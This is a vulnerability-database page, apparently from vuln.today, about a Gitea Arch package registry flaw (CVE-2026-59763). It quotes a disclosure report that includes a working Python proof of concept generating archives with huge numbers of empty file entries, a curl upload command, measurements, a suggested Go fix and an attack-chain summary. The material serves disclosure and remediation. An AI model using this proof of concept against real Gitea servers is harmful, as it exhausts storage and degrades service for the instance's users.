Skip to main content

Gitea CVE-2026-59763

MEDIUM
Allocation of Resources Without Limits or Throttling (CWE-770)
2026-07-21 https://github.com/go-gitea/gitea GHSA-9mq6-mqjj-c2c5
Share

Severity by source

vuln.today AI
4.3 MEDIUM

Network-accessible upload endpoint requires low-privilege authenticated account with package-publish rights; only availability is affected through resource amplification, with no confidentiality or integrity impact.

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

Estimated by vuln.today — no official severity rating has been published for this CVE yet.

Lifecycle Timeline

2
Source Code Evidence Fetched
Jul 21, 2026 - 21:11 vuln.today
Analysis Generated
Jul 21, 2026 - 21:11 vuln.today

DescriptionCVE.org

Summary

Hello Gitea Security Team,

Thank you for your continued work on Gitea. I would like to responsibly report a potential availability-impact issue that I observed in Gitea’s Arch package registry implementation.

During local testing, I noticed that Gitea records non-dot regular file entries from an uploaded Arch package archive into package file metadata. I could not identify an explicit limit on the number of recorded file entries or on the cumulative size of recorded file names before this metadata is serialized, stored, and later used during repository index generation.

As a result, a relatively small compressed .pkg.tar.gz archive may lead to significantly larger server-side metadata processing and storage. I tested this only against a local self-hosted Gitea instance and have not tested this against any third-party or production service.

Suggested Severity

Suggested severity: Medium

Suggested CVSS 3.1 vector:

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L

Suggested CVSS score: 4.3

This assessment is only a suggestion. The issue appears to require an authenticated user with package publishing permission. However, once that condition is met, the behavior is reachable over the network, does not require user interaction, and may affect availability through amplified metadata parsing, serialization, database storage, and repository index generation.

Affected Component

  • Gitea package registry
  • Arch package upload endpoint
  • Arch package metadata parsing
  • Arch repository index generation

Technical Details

The upload flow appears to accept an Arch package archive, parse its contents, record file entries into package metadata, and later reuse that metadata when generating the Arch repository index.

The relevant flow appears to include:

  • routers/api/packages/arch/arch.go:46 accepts the upload stream.
  • routers/api/packages/arch/arch.go:55 copies the upload into a HashedBuffer.
  • routers/api/packages/arch/arch.go:62 parses the archive with arch_module.ParsePackage.
  • modules/packages/arch/metadata.go:149 appends each non-dot regular tar entry name to files.
  • modules/packages/arch/metadata.go:158 stores the full list as p.FileMetadata.Files.
  • routers/api/packages/arch/arch.go:77 JSON-marshals the file metadata.
  • routers/api/packages/arch/arch.go:143 persists the metadata as arch_module.PropertyMetadata.
  • services/packages/arch/repository.go:302 deserializes the metadata during index generation.
  • services/packages/arch/repository.go:365 joins the full file list into the generated files entry.

From my review, the package upload size limit can reduce the maximum compressed archive size that is accepted, but it does not appear to directly limit the number of file entries or the expanded metadata size for archives that remain below the compressed upload limit.

Impact

An authenticated user with permission to publish Arch packages may be able to upload an archive containing a valid .PKGINFO file and a large number of empty regular file entries.

In my local test environment, Gitea accepted such packages and stored the full file list as package metadata. This caused the server-side metadata size and generated repository files index content to become much larger than the compressed upload size.

The practical impact appears to be resource amplification affecting:

  • CPU usage during parsing and index generation
  • memory usage during metadata handling
  • database storage due to large serialized metadata
  • repository index generation size and processing time

This seems most relevant for instances where untrusted or semi-trusted users are allowed to publish packages.

Local Validation Results

I tested this only on a local self-hosted Gitea instance.

A 470,403 byte archive containing 100,000 empty file entries was accepted by the Arch package upload endpoint. It produced a 4,500,112 byte arch.metadata database property and a generated repository index whose files member contained 100,001 lines.

A larger 2,349,767 byte archive containing 500,000 empty file entries was also accepted in the default configuration. It produced a 22,500,112 byte arch.metadata database property and a generated repository files member with 500,001 lines.

Proof of Concept

The following proof of concept is intended only for a local self-hosted test instance.

Save the following script as generate_arch_metadata_test_package.py:

python
#!/usr/bin/env python3
from __future__ import annotations

import argparse
import gzip
import io
import tarfile
from pathlib import Path

PKGINFO = """pkgname = gitea-metadata-test
pkgbase = gitea-metadata-test
pkgver = 1.0.0-1
pkgdesc = Local metadata scaling test package
url = https://example.invalid/
packager = local test
arch = x86_64
license = MIT
builddate = 1714521600
size = 0
"""

def add_bytes(tar: tarfile.TarFile, name: str, data: bytes) -> None:
    info = tarfile.TarInfo(name=name)
    info.size = len(data)
    info.mode = 0o644
    tar.addfile(info, io.BytesIO(data))

def build_archive(output: Path, entries: int, name_width: int) -> None:
    output.parent.mkdir(parents=True, exist_ok=True)
    with output.open("wb") as raw:
        with gzip.GzipFile(fileobj=raw, mode="wb", compresslevel=9, mtime=0) as gz:
            with tarfile.open(fileobj=gz, mode="w|") as tar:
                add_bytes(tar, ".PKGINFO", PKGINFO.encode("utf-8"))
                for i in range(entries):
                    name = f"usr/share/gitea-metadata-test/{i:0{name_width}d}.txt"
                    add_bytes(tar, name, b"")

def main() -> None:
    parser = argparse.ArgumentParser(
        description="Generate a local Arch package test archive with many empty file entries.",
    )
    parser.add_argument("--entries", type=int, default=100000)
    parser.add_argument("--name-width", type=int, default=8)
    parser.add_argument("--output", type=Path, default=Path("gitea-metadata-test.pkg.tar.gz"))
    args = parser.parse_args()

    if args.entries < 1:
        raise SystemExit("--entries must be at least 1")
    if args.name_width < 1:
        raise SystemExit("--name-width must be at least 1")

    build_archive(args.output, args.entries, args.name_width)
    print(f"wrote {args.output} with {args.entries} regular file entries")

if __name__ == "__main__":
    main()

Generate a test archive:

bash
python3 generate_arch_metadata_test_package.py \
  --entries 100000 \
  --output gitea-metadata-test-100k.pkg.tar.gz

Upload it to a local Gitea test instance with package publishing enabled:

bash
curl -X PUT \
  -H "Authorization: token <TOKEN>" \
  --upload-file gitea-metadata-test-100k.pkg.tar.gz \
  http://127.0.0.1:3007/api/packages/packagebot/arch/bigrepo

Observed local result:

text
HTTP_STATUS=201
TIME_TOTAL=0.482909
SIZE_UPLOAD=470403

Additional Validation

Parser-only measurements:

EntriesCompressed archive bytesParsed file entriesMetadata JSON bytesJoined files bytesParse time
25477251,2371,0740 ms
10,00047,46110,000450,112429,99925 ms
100,000470,403100,0004,500,1124,299,999264 ms

Local Gitea upload measurements:

EntriesUpload HTTP statusUpload timeUploaded bytesStored metadata bytesStored file countRepository index blob bytesExtracted files lines
10,0002010.243 s47,461450,11210,00027,26710,001
100,0002010.483 s470,4034,500,112100,000262,301100,001
500,0002011.798 s2,349,76722,500,112500,0001,306,465500,001

Package Size Limit Behavior

I also tested LIMIT_SIZE_ARCH=1MiB with a non-admin package publisher.

EntriesUpload bytesUpload HTTP statusStored metadata bytesNotes
100,000470,4032014,500,112Accepted because the compressed upload was below the package size limit.
500,0002,349,767403not storedRejected with maximum allowed package type size exceeded.

This suggests that the compressed package size limit helps reduce exposure, but it may not fully address metadata growth for highly compressible archives that stay below the configured upload limit.

Expected Behavior

Gitea should ideally reject package archives whose expanded package metadata would require excessive server-side resources. It would be safer if this validation happened before the file list is serialized, persisted, or used during repository index generation.

Suggested Remediation

One possible mitigation would be to add explicit bounds during Arch package metadata parsing before the file list is stored or used for repository index generation.

Potential controls could include:

  • limiting the maximum number of regular file entries recorded in FileMetadata.Files
  • limiting the cumulative byte length of recorded file names
  • returning a clear 4xx validation error when an uploaded package exceeds those limits
  • optionally making these limits configurable for instance operators
  • adding regression tests for excessive file-entry count and excessive cumulative file-name size

For example, the validation could follow this general shape:

go
const (
	maxArchMetadataFiles = 10000
	maxArchMetadataFileNameBytes = 1 << 20
)

var totalFileNameBytes int

// inside the tar entry loop
if !strings.HasPrefix(filename, ".") {
	totalFileNameBytes += len(hd.Name)
	if len(files) >= maxArchMetadataFiles || totalFileNameBytes > maxArchMetadataFileNameBytes {
		return nil, util.NewInvalidArgumentErrorf("arch package file metadata exceeds limit")
	}
	files = append(files, hd.Name)
}

This is only a suggested direction, and I understand the project may prefer a different threshold or design depending on compatibility and package registry requirements.

Closing

Thank you for taking the time to review this report. Please let me know if any additional information would be helpful, such as the local test environment details, database inspection steps, or additional measurements with different limits.

I appreciate your work on maintaining Gitea and would be happy to help clarify or retest any proposed fix.

AnalysisAI

Gitea's Arch package registry allows authenticated users with package-publishing permissions to trigger severe resource amplification by uploading crafted .pkg.tar.gz archives containing large numbers of empty file entries. A 470 KB compressed archive can produce 4.5 MB of database-stored metadata and a repository index with 100,001 lines - approximately 45x amplification - affecting CPU, memory, database storage, and index generation. …

Unlock full vulnerability intelligence

  • Risk assessment & exploitation conditions
  • Attack chain visualization
  • Remediation with exact patch versions
  • Threat intelligence from 22 sources
  • Personal watchlist & email alerts

Free forever · No credit card required

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Obtain Gitea account with Arch package-publish rights
Delivery
Generate crafted `.pkg.tar.gz` with 100k+ empty file entries via Python POC
Exploit
Upload archive via `PUT /api/packages/{owner}/arch/{repo}`
Execution
Gitea parses unbounded file list into metadata without limits
Persist
~45x amplified JSON metadata persisted to database
Impact
Repeated uploads exhaust DB storage and degrade server availability

Vulnerability AssessmentAI

Exploitation Exploitation requires an authenticated Gitea account holding Arch package publishing permission for the target namespace - no unauthenticated or read-only access path exists. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The reporter's suggested CVSS 3.1 score of 4.3 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L) is credible and consistent with the description - no NVD-assigned or vendor-confirmed vector is present in the available data, so this rating is the reporter's suggestion only, not independently confirmed. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An authenticated Gitea user with Arch package publishing permission runs the advisory's Python POC to generate a 470 KB `.pkg.tar.gz` archive containing 100,000 empty file entries and a valid `.PKGINFO`. A single `curl -X PUT` upload causes Gitea to store 4.5 MB of serialized metadata in the database and generate a 262 KB repository index; repeatedly uploading such archives within a session progressively consumes database storage and degrades server responsiveness for all users on the instance.
Remediation Upgrade to Gitea v1.27.0 or later (https://github.com/go-gitea/gitea/releases/tag/v1.27.0), which introduces explicit bounds on the number of file entries and cumulative filename byte length during Arch package metadata parsing, as implemented in PRs https://github.com/go-gitea/gitea/pull/38406 and https://github.com/go-gitea/gitea/pull/38426. … Detailed patch versions, workarounds, and compensating controls in full report.

Threat intelligence, references, and detailed analysis are available after sign-in.

More in Gitea

View all
CVE-2026-27771 HIGH POC
8.2 Jul 03

Broken access control in Gitea's Composer package registry (versions up to and including 1.26.1) lets remote attackers r

CVE-2022-30781 HIGH POC
7.5 May 16

Gitea before 1.16.7 does not escape git fetch remote. Rated high severity (CVSS 7.5), this vulnerability is remotely exp

CVE-2020-14144 HIGH POC
7.2 Oct 16

The git hook feature in Gitea 1.1.0 through 1.12.5 might allow for authenticated remote code execution in customer envir

CVE-2024-6886 CRITICAL POC
10.0 Aug 06

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Gitea Gitea

CVE-2026-58053 CRITICAL POC
9.4 Jun 28

Container escape in Gitea act_runner (Docker backend, through act 0.262.0) lets an authenticated user with workflow-exec

CVE-2019-11229 HIGH POC
8.8 Apr 15

models/repo_mirror.go in Gitea before 1.7.6 and 1.8.x before 1.8-RC3 mishandles mirror repo URL settings, leading to rem

CVE-2020-13246 HIGH POC
7.5 May 20

An issue was discovered in Gitea through 1.11.5. Rated high severity (CVSS 7.5), this vulnerability is remotely exploita

CVE-2022-0905 HIGH POC
7.1 Mar 10

Missing Authorization in GitHub repository go-gitea/gitea prior to 1.16.4. Rated high severity (CVSS 7.1), this vulnerab

CVE-2022-1058 MEDIUM POC
6.1 Mar 24

Open Redirect on login in GitHub repository go-gitea/gitea prior to 1.16.5. Rated medium severity (CVSS 6.1), this vulne

CVE-2026-20896 CRITICAL POC
9.8 Jul 03

Reverse-proxy authentication bypass in the official Gitea Docker image (versions up to and including 1.26.2) allows any

CVE-2026-27780 CRITICAL
9.8 Jul 03

Branch-protection bypass in Gitea's self-hosted Git server (all versions before 1.26.0) allows a user with push access t

CVE-2026-26292 CRITICAL
9.8 Jul 03

Migration transport protections in Gitea are bypassed for Git LFS operations, affecting all self-hosted instances before

Share

CVE-2026-59763 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy